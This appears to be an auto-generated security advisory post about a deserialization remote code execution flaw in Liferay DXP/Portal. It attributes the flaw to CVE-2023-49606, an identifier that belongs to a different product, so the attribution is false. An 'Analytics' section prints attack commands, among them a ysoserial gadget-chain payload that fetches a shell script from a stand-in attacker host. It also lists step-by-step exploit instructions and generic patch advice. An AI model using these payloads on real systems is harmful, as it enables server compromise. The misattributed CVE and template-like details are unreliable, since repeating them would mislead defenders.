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This critical vulnerability (CVE-2023-49606) in Liferay DXP and Portal arises from insecure deserialization of untrusted data within specific modules. The flaw exists in the handling of serialized Java objects. Attackers can exploit this by sending a crafted serialized payload to vulnerable endpoints. When the application deserializes this malicious data without proper validation, it triggers the execution of a chain of pre-existing classes (a “gadget chain”) within the application’s classpath. This process bypasses standard security controls, allowing the attacker to achieve remote code execution (RCE) on the underlying server. The vulnerability is remotely exploitable without authentication, requiring only network access to the Liferay instance. The affected components do not adequately restrict the classes that can be instantiated during deserialization.
Platform: Liferay DXP/Portal
Version: 7.3-7.4.3.101
Vulnerability: Deserialization RCE
Severity: Critical
date: 2023-10-31
Prediction: 2023-11-15
What Undercode Say:
Analytics:
curl -s http://target/api/jsonws/invoke --data 'cmd=...'
java -jar ysoserial.jar CommonsCollections6 'curl http://attacker/shell.sh' > payload.bin
cat payload.bin | base64 | tr -d '\n'
How Exploit:
Craft malicious serialized object.
Target vulnerable JSONWS endpoint.
Send POST request with payload.
Trigger gadget chain execution.
Achieve remote code execution.
Protection from this CVE:
Apply vendor patch.
Validate all serialized data.
Use Java security manager.
Restrict network access.
Update to 7.4.3.102.
Impact:
Full system compromise.
Unauthorized data access.
Complete server control.
Bypasses all authentication.
Critical severity risk.
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Sources:
Reported By: nvd.nist.gov
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